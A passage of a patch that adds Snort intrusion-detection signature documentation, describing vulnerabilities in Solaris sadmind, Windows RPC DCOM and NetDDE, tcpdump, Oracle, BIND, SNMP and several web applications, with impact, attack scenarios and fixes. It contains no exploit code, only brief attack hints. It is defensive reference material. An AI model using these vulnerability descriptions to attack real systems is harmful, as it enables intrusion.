+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) sadmind is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port sadmind is using.  Attackers can also learn what versions of the sadmind protocol are accepted by sadmind.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as sadmind run.  The sadmind RPC service is used by Solaris hosts to remotely perform distributed system administration tasks such as adding new users.  There is a vulnerability associated with sadmind that may cause a buffer overflow, allowing an attacker to execute abitrary code with the privileges of sadmind, possibly root. 
+
+--
+Affected Systems:
+Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6, and 7. 
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where sadmind runs.  This may be a precursor to an attack to exploit the sadmind buffer overflow.
+
+--
+Ease of Attack:
+Simple.  Exploit scripts are freely available. A worm was observed in 2001 that used the sadmind exploit (and an IIS vulnerability) to compromise systems and deface web pages. 
+
+--
+False Positives:
+If a legitimate remote user is allowed to access sadmind, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for sadmind, not probes of the sadmind service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the sadmind service itself. An attacker may attempt to go directly to the sadmind port without querying the portmapper service which, would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Original rule modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/866
+
+CERT:
+http://www.cert.org/advisories/CA-1999-16.html
+
+Arachnids:
+http://www.whitehats.com/info/IDS20
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2957.txt
+++ snort-2.8.5.2/doc/signatures/2957.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2957
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000134.txt
+++ snort-2.8.5.2/doc/signatures/100000134.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid: 
+100000134
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Tcpdump. In particular, this event indicates that the exploit 
+was attempted via a malformed Resource Reservation Protocol (RSVP) packet.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS). Code execution may be possible.
+
+--
+Detailed Information:
+Tcpdump is a packet capture utility used on various BSD, Linux and UNIX style 
+operating systems.
+
+An error in the processing of the payload length in an RSVP packet may prevent 
+an attacker with the opportunity to overflow a fixed length buffer and execute 
+code of their choosing in the context of the user running tcpdump. This is 
+normally the super-user or administrator when tcpdump is used to sniff data 
+directly from a network interface.
+
+--
+Affected Systems:
+Tcpdump 3.9.1 and prior
+Ethereal 0.10.10 and prior
+
+--
+Attack Scenarios: 
+An attacker need to craft an RSVP packet with a packet payload length of 0 to 
+cause the overflow to manifest itself.
+
+-- 
+Ease of Attack: 
+Simple. Exploit code exists.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000543.txt
+++ snort-2.8.5.2/doc/signatures/100000543.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000543
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "Dating Agent" application running on a webserver. Access 
+to the file "search.php" with SQL commands being passed as the "sex" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "sex" parameter in the "search.php" script used by the 
+"Dating Agent" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Dating Agent
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3302.txt
+++ snort-2.8.5.2/doc/signatures/3302.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3302
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1995.txt
+++ snort-2.8.5.2/doc/signatures/1995.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1995
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/630.txt
+++ snort-2.8.5.2/doc/signatures/630.txt
@@ -0,0 +1,51 @@
+Rule: 
+
+-- 
+Sid:630
+
+-- 
+Summary:
+A host has scanned the network looking for vulnerable servers.
+
+-- 
+Impact:
+Information leak, reconnaisance, preperation for automated attack such as worm propagation
+
+
+-- 
+Detailed Information: 
+Synscan is the scanning and vulnerability testing engines for ramen, canserserver and is included in some versions of the t0rn root kit as t0rnscan. It is a very fast syn scanner. 
+
+-- 
+Attack Scenarios: 
+This is a scanning tool that is often the precursor to a worm infection.
+
+
+-- 
+Ease of Attack: 
+This scanner is fast and easy to use. It is readily available and was included with several worms.
+
+
+-- 
+False Positives: 
+sscan, mscan, and several other tools used ID=39426 but the use of SYNFIN is unique to synscan [1.5|1.6]
+
+-- 
+False Negatives: 
+This rule will not generate an event if recent versions of synScan, such as 1.6a, are used because synScan now uses random IP IDs.
+
+-- 
+Corrective Action: 
+Run flexresp with synscan kill.
+
+-- 
+Contributors: 
+Don Smith	Initial Research
+Josh Gray	Edits
+
+-- 
+Additional References:
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3184.txt
+++ snort-2.8.5.2/doc/signatures/3184.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3184
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1658.txt
+++ snort-2.8.5.2/doc/signatures/1658.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1658
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000561.txt
+++ snort-2.8.5.2/doc/signatures/100000561.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000561
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "dotProject" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "login" parameter in the "ui.class.php" script 
+used by the "dotProject" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using dotProject
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000563.txt
+++ snort-2.8.5.2/doc/signatures/100000563.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000563
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "GL-SH Deaf Forum" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "page" parameter in the "show.php" script used 
+by the "GL-SH Deaf Forum" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using GL-SH Deaf Forum
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2771.txt
+++ snort-2.8.5.2/doc/signatures/2771.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2771
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_char
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2743.txt
+++ snort-2.8.5.2/doc/signatures/2743.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2743
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_site_priority_site
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2182.txt
+++ snort-2.8.5.2/doc/signatures/2182.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+2182
+
+--
+Summary:
+This event is generated when activity generated by the Linux Trojan Typot is detected.
+
+--
+Impact:
+Increased network traffic leading to bandwidth consumption.
+
+--
+Detailed Information:
+Current information based on binary analysis of the Typot Trojan shows that network traffic is generated with a TCP window size of 55808 bytes. Whilst this Trojan does not appear to contain any malicious payload it will generate spurious network scanning activity. The source IP address for the scanning activity is spoofed.
+
+When a host becomes infected a file named "r" is created in the same directory the binary was executed from. The Trojan then begins generating network traffic as described above. An infected victim host may have a file named "a" in the /tmp directory. After an unspecified time period the Trojan itself may attempt to connect to an external IP address using Secure Shell (ssh) for communication. If this communication is succesful, the "a" file may be deleted.
+
+The Trojan may also use the libpcap and libnet libraries to generate network traffic.
+
+--
+Affected Systems:
+Linux
+
+--
+Attack Scenarios:
+An attacker may have installed the Trojan after a previous system compromise.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+Any application that generates a TCP SYN packet with a window size of 55808 bytes will generate this event. Currently it is not known which, if any, commonly deployed applications generate these specific packets.
+
+It is also possible to recreate this particular traffic using network packet generating tools such as hping.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Investigate the affected host for signs of system compromise.
+
+Delete the files "r" and "a" if found.
+
+--
+Contributors:
+Sourcefire Research Team
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Matt Watchinski <mwatchinski@sourcefire.com>
+
+--
+Additional References:
+
+Symantec
+http://securityresponse.symantec.com/avcenter/venc/data/trojan.linux.typot.html
+
+e-week
+http://www.eweek.com/article2/0,3959,1130759,00.asp
+
+Intrusec
+http://www.intrusec.com/55808.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3370.txt
+++ snort-2.8.5.2/doc/signatures/3370.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3370
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2140.txt
+++ snort-2.8.5.2/doc/signatures/2140.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid: 2140
+
+
+--
+Summary:
+This event is generated when an attempt is made to access the p-news bulletin board.
+
+--
+Impact:
+Possible escalation of privilege.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access the p-news bulletin board. The p-news application has a flaw that allows normal users to escalate their privilege level to that of the administrator by using a malformed username.
+
+The attacker may be trying to gain administrator access.
+
+--
+Affected Systems:
+Any host using php.
+
+--
+Attack Scenarios:
+An attacker can take control of the application by supplying a specially crafted malformed username.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Apply the appropriate vendor patches.
+
+Upgrade to the latest non-affected version of the software.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/259.txt
+++ snort-2.8.5.2/doc/signatures/259.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+259
+
+--
+Summary:
+This event is generated by an attempted buffer overflow associated with incorrect validation of DNS NXT records.
+
+--
+Impact:
+Severe. The DNS server can be compromised allowing the attacker to execute arbitrary commands with the privileges of the user running BIND.
+
+--
+Detailed Information:
+Improper validation of DNS NXT records may allow at attacker to perform a buffer overflow.  This can allow the attacker to execute arbitrary code with the privileges of the user running BIND.
+
+--
+Affected Systems:
+BIND versions 8.2 up to, but not including, 8.2.2.
+
+--
+Attack Scenarios:
+An attacker can launch this exploit to gain remote access to the DNS server.
+
+--
+Ease of Attack:
+Simple.  Code exists to exploit the buffer overflow.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines content based on the exploit code written by ADM.  If the content is changed, the rule may not fire.
+
+--
+Corrective Action:
+Upgrade to a version of BIND 8.2.2 or greater, or patch vulnerable versions of BIND.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-1999-14.html
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0833
+
+Bugtraq:
+http://www.securityfocus.com/bid/788
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1028.txt
+++ snort-2.8.5.2/doc/signatures/1028.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1028
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1426.txt
+++ snort-2.8.5.2/doc/signatures/1426.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1426
+
+--
+Summary:
+This event is generated when an attempt is made to attack a device using SNMP v1.
+
+--
+Impact:
+Varies depending on the implementation. Ranges from Denial of Service (DoS) to code execution.
+
+--
+Detailed Information:
+SNMP is a widely adopted protocol for managing IP networks, including individual network devices, and devices in aggregate. 
+
+Several network devices come pre-installed with this protocol for management and monitoring.
+
+A number of vulnerabilities exist in SNMP v1, including a community string 
+buffer overflow, that will allow an attacker to execute arbitrary code or shutdown the service.
+
+--
+Affected Systems:
+Any implementation of SNMP v1 protocol
+	
+--
+Attack Scenarios:
+An attacker needs to send a specially crafted packet to UDP port 161 
+of a vulnerable device, causing a Denial of Service or possible execution of 
+arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the SNMP v1 protocol, use SNMP v2 protocol as an alternative.
+
+Disable the use of SNMP for devices that do not need it.
+
+Use Ingress/Egress filtering on a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-03.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/525.txt
+++ snort-2.8.5.2/doc/signatures/525.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid: 525
+
+--
+Summary:
+This event is generated when UDP traffic to port 0 is detected. This 
+should not be seen in normal UDP communications.
+
+--
+Impact:
+Denial of Service against Checkpoint Firewall 1 devices. Possible 
+reconnaisance. This may be an attempt to verify the existance 
+of a host or hosts at a particular address or address range.
+
+--
+Detailed Information:
+UDP traffic to port 0 is not valid under normal circumstances.
+
+Certain versions of Checkpoints Firewall 1 are subject to a Denial of 
+Service attack when UDP packets to port 0 are sent via VPN-1.
+
+an indicator of unauthorized network use, reconnaisance activity or 
+system compromise. These rules may also generate an event due to 
+improperly configured network devices.
+
+--
+Affected Systems:
+	Any
+
+--
+Attack Scenarios:
+The attacker could send packets to a host with a destination port of 0. 
+The attacker might also be using hping to verify the existance of a host
+as a prelude to an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow UDP traffic to port 0.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0675
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2830.txt
+++ snort-2.8.5.2/doc/signatures/2830.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2830
+
+-- 
+Summary: 
